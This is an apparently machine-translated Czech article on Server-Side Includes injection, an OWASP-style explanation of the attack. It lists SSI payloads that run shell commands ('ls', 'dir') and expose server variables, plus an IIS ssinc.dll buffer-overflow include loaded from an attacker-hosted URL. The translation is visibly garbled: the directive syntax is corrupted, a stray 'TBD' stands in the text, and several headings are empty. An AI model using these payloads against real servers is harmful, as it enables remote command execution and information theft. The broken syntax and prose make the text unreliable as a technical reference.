Server Side Includes (SSI) Inject
SSI jsou směrnice přítomné na webových aplikací používaných ke krmení HTML stránky s dynamickým obsahem. Jsou podobné CGI, kromě toho, že SSI se používají k provedení nějaké akce před aktuální načtení stránky, nebo zatímco strana je být vizualizován. Aby k tomu, webový server analyzuje SSI před dodáním stránku uživatele.
Server-Side Includes útok umožňuje využívání webové aplikace vstříknutím skripty v HTML stránkách, nebo provádění libovolných kódy na dálku. To lze využít přes manipulaci SSI v použití v aplikaci, nebo vynutit jeho používání prostřednictvím polí uživatelských vstupů.
Je možné zkontrolovat, zda je aplikace správně ověřování vstupních datových polí vložením znaků, které se používají ve směrnicích SSI, jako jsou:
<! # = /. "-> A [a-zA-Z0-9]
Dalším způsobem, jak zjistit, zda je aplikace zranitelné je ověřit přítomnost stránek s příponou. Stm,. Shtm a. Shtml. Nicméně, nedostatek tohoto druhu stránek, neznamená, že aplikace je chráněna před napadením SSI.
V každém případě, bude útok bude úspěšný pouze tehdy, web server umožňuje SSI provedení bez řádného ověření. To může vést k přístupu a manipulaci souborového systému a procesu v rámci povolení procesu webového serveru majitele.
Útočník může získat přístup k citlivým informacím, jako jsou hesla souborů, a provádět příkazy shellu. SSI direktivy jsou injekčně do vstupních polí a jsou zaslány na webový server. Webový server analyzuje a provádí směrnice před dodáním stránku. Poté, bude útok výsledek bude viditelný příštím načtení stránky pro uživatele prohlížeče.
TBD
Příkazy používané k injekci SSI měnit v závislosti na serveru operační systém v použití. Následující příkazy představují syntaxi, která by měla být použita ke spuštění OS příkazů.
Linux:
Seznam soubory adresáře:
<-! # Exec cmd = "ls" ->
Přístup adresáře:
Windows:
Seznam soubory adresáře:
<-! # Exec cmd = "dir" ->
Přístup adresáře:
<- # Exec cmd =! "Cd C: \ admin \ dir">
Další SSI příklady, které mohou být použity pro přístup a nastavení informace o serveru:
Chcete-li změnit chybovou zprávu výstup:
<-! # Config errmsg = "Soubor nebyl nalezen, informuje uživatele a heslo" ->
Chcete-li zobrazit aktuální dokument název souboru:
<-! # Echo var = "DOCUMENT_NAME" ->
Chcete-li zobrazit virtuální cestu a název souboru:
<-! # Echo var = "DOCUMENT_URI" ->
Pomocí "config" velení a "TimeFmt" parametr, je možné ovládat datum a čas výstupní formát:
<-! # Config TimeFmt = "% B% d% Y% r" ->
Pomocí "fsize" příkaz, je možné, aby vytisknout velikost zvoleného souboru:
<-! # Fsize file = "ssi.shtml" ->
Starý zranitelnost ve verzích IIS 4.0 a 5.0 umožňuje útočníkovi získat systémová práva prostřednictvím selhání přetečení vyrovnávací paměti v dynamicky propojované knihovně (ssinc.dll). "Ssinc.dll" se používá k interpretu procesu Server-Side Includes. CVE 2001-0506 .
Vytvořením nebezpečné stránky obsahující kód SSI níže a nutit aplikaci načíst tuto stránku ( Path Traversal útok), je možné provést tento útok:
ssi_over.shtml
<-! # Include file = "UUUUUUUU ... UU" ->
PS: počet "U" musí být delší než 2049.
Nutit aplikace načíst ssi_over.shtml stránku:
Non-škodlivý URL:
www.vulnerablesite.org/index.asp?page=news.asp
Škodlivý URL:
www.vulnerablesite.org/index.asp?page=www.malicioussite.com/ssi_over.shtml
Pokud IIS vrací prázdnou bílou stránku znamená to, že došlo k přetečení. V tomto případě může být útočník manipulovat postup tok a spustí libovolný kód.